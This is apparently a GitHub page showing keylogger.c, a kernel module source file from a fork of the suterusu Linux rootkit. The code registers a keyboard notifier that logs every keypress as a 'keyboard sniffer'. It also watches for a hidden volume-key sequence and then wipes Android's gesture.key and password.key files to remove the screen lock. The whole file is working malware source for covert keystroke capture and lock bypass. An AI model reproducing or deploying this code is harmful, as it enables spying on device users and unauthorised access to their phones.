forked from mncoppola/suterusu
-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylogger.c
103 lines (83 loc) · 2.18 KB
/
keylogger.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include "common.h"
#include <linux/keyboard.h>
#include <linux/kthread.h>
#if defined(_CONFIG_UNLOCK_)
struct task_struct *ts;
unsigned long sequence_i = 0;
volatile unsigned long to_unlock = 0;
DECLARE_WAIT_QUEUE_HEAD(unlocker_event);
unsigned long sequence[] = {
42, // Volume Up downpress
63232,
63232,
58, // Volume Down downpress
61959,
61959,
42, // Volume Up uppress
63232,
63232,
58, // Volume Down uppress
61959,
61959
};
#define SEQUENCE_SIZE sizeof(sequence)/sizeof(unsigned long)
#endif
int notify ( struct notifier_block *nblock, unsigned long code, void *_param )
{
struct keyboard_notifier_param *param = _param;
DEBUG_KEY("KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
#if defined(_CONFIG_UNLOCK_)
if ( sequence[sequence_i] == param->value )
{
if ( ++sequence_i == SEQUENCE_SIZE )
{
DEBUG("Key sequence detected, unlock the screen!\n");
to_unlock = 1;
sequence_i = 0;
wake_up_interruptible(&unlocker_event);
}
}
else
sequence_i = 0;
#endif
return NOTIFY_OK;
}
#if defined(_CONFIG_UNLOCK_)
int unlocker ( void *data )
{
while ( 1 )
{
wait_event_interruptible(unlocker_event, (to_unlock == 1));
DEBUG("Inside the unlocker thread, removing screen lock\n");
#if defined(_CONFIG_X86_)
// Kill screenlock
#else // ARM
filp_close(filp_open("/data/system/gesture.key", O_TRUNC, 0), NULL);
filp_close(filp_open("/data/system/password.key", O_TRUNC, 0), NULL);
#endif
to_unlock = 0;
if ( kthread_should_stop() )
break;
}
return 0;
}
#endif
static struct notifier_block nb = {
.notifier_call = notify
};
void keylogger_init ( void )
{
DEBUG("Installing keyboard sniffer\n");
register_keyboard_notifier(&nb);
#if defined(_CONFIG_UNLOCK_)
ts = kthread_run(unlocker, NULL, "kthread");
#endif
}
void keylogger_exit ( void )
{
DEBUG("Uninstalling keyboard sniffer\n");
#if defined(_CONFIG_UNLOCK_)
kthread_stop(ts);
#endif
unregister_keyboard_notifier(&nb);
}